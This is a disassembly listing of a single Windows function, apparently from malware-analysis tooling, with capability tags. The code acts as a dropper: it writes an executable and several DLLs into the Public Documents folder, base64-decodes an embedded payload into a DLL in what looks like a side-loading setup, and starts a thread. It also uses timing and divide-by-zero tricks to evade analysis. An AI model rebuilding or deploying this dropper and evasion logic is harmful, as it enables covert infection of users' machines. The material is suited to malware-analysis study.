Function at 0x401e07
Capabilities:
Create thread
Set current directory
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xd0], xmm6
movaps xmmword [rbp + 0xe0], xmm7
movaps xmmword [rbp + 0xf0], xmm8
movaps xmmword [rbp + 0x100], xmm9
movaps xmmword [rbp + 0x110], xmm10
movaps xmmword [rbp + 0x120], xmm11
movaps xmmword [rbp + 0x130], xmm12
movaps xmmword [rbp + 0x140], xmm13
movaps xmmword [rbp + 0x150], xmm14
movaps xmmword [rbp + 0x160], xmm15
mov dword [rbp + 0x1c0], ecx
mov qword [rbp + 0x1c8], rdx
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x10], rax
lea rax, [0x0069b208]
mov qword [rbp - 8], rax
mov rax, rbp
lea rbx, [rbp + 0xd0]
mov qword [rax], rbx
lea rdx, [0x004022ab]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg._Unwind_SjLj_Register
call sym.__main
call sym.time_if__
test eax, eax
sete al
test al, al
je 0x402220
lea rcx, str.C:UsersPublicDocuments
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rbp - 0x38], 0xffffffff
call rax
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocumentsjava.exe
call sym.fopen
mov qword [rbp + 0xc8], rax
lea rax, [rbp + 0x6b]
mov rcx, rax
call fcn.0046fe00
lea rdx, [rbp + 0x6b]
lea rax, [rbp + 0x30]
mov dword [rbp - 0x38], 1
mov r8, rdx
lea rdx, str.my_complex_secure_key
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x6b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov dword [rbp - 0x38], 2
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocumentsKBDUKS.dll
call sym.fopen
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc8], 0
jne 0x401fb5
mov dword [rbp + 0xbc], 0xa
mov dword [rbp + 0xb8], 0
mov eax, dword [rbp + 0xbc]
cdq
idiv dword [rbp + 0xb8]
mov dword [rbp + 0xb4], eax
mov eax, dword [rbp + 0xb4]
mov edx, eax
lea rcx, [0x005bb0ad]
call sym.printf_char_const__::_
mov dword [rbp + 0x28], 0
mov dword [rbp - 0x48], 0
jmp 0x40220a
mov rax, qword [rbp + 0xc8]
mov dword [rbp - 0x38], 2
mov r9, rax
mov r8d, 1
mov edx, 0x8988
lea rcx, [0x004e1020]
call sym.fwrite
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sym.fclose
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocumentsjli.dll
call sym.fopen
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov r9, rax
mov r8d, 1
mov edx, 0x4e00
lea rcx, [0x004e99c0]
call sym.fwrite
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sym.fclose
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocumentslcms.dll
call sym.fopen
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov r9, rax
mov r8d, 1
mov edx, 0x16388
lea rcx, [0x004ee7c0]
call sym.fwrite
mov rax, qword [rbp + 0xa0]
mov rcx, rax
call sym.fclose
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocuments_vcruntime140.dll
call sym.fopen
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov r9, rax
mov r8d, 1
mov edx, 0x1afc0
lea rcx, [0x00504b60]
call sym.fwrite
mov rax, qword [rbp + 0x98]
mov rcx, rax
call sym.fclose
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocuments_vcruntime140_1.dll
call sym.fopen
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov r9, rax
mov r8d, 1
mov edx, 0xc5d0
lea rcx, [0x0051fb20]
call sym.fwrite
mov rax, qword [rbp + 0x90]
mov rcx, rax
call sym.fclose
lea rdx, [0x005bb068]
lea rcx, str.C:UsersPublicDocumentsmsvcp140.dll
call sym.fopen
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov r9, rax
mov r8d, 1
mov edx, 0x8be50
lea rcx, [0x0052c100]
call sym.fwrite
mov rax, qword [rbp + 0x88]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x50]
lea rdx, [0x006a9040]
mov rcx, rax
call sym.base64Decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rcx, rax
mov rax, qword [rbp + 0xc0]
mov dword [rbp - 0x38], 3
mov r9, rax
mov r8d, 1
mov rdx, qword [rbp - 0x48]
call sym.fwrite
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.fclose
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.jj_pro_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov dword [rbp - 0x48], 1
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp dword [rbp - 0x48], 1
jne 0x4022a0
call sym.time_if__
test eax, eax
sete al
test al, al
je 0x40225b
mov dword [rbp + 0x7c], 0xa
mov dword [rbp + 0x78], 0
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x38], 0xffffffff
call rax
mov ecx, 0
call sym.exit
mov dword [rbp + 0x74], 0xa
mov dword [rbp + 0x70], 0
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x38], 0xffffffff
call rax
mov eax, dword [rbp + 0x74]
cdq
idiv dword [rbp + 0x70]
mov dword [rbp + 0x6c], eax
mov eax, dword [rbp + 0x6c]
mov edx, eax
lea rcx, [0x005bb0ad]
call sym.printf_char_const__::_
mov dword [rbp + 0x28], 0
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x28], eax
jmp 0x402330
lea rax, [rbp - 0x40]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
mov eax, dword [rbp + 0x28]
movaps xmm6, xmmword [rbp + 0xd0]
movaps xmm7, xmmword [rbp + 0xe0]
movaps xmm8, xmmword [rbp + 0xf0]
movaps xmm9, xmmword [rbp + 0x100]
movaps xmm10, xmmword [rbp + 0x110]
movaps xmm11, xmmword [rbp + 0x120]
movaps xmm12, xmmword [rbp + 0x130]
movaps xmm13, xmmword [rbp + 0x140]
movaps xmm14, xmmword [rbp + 0x150]
movaps xmm15, xmmword [rbp + 0x160]
add rsp, 0x1f8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret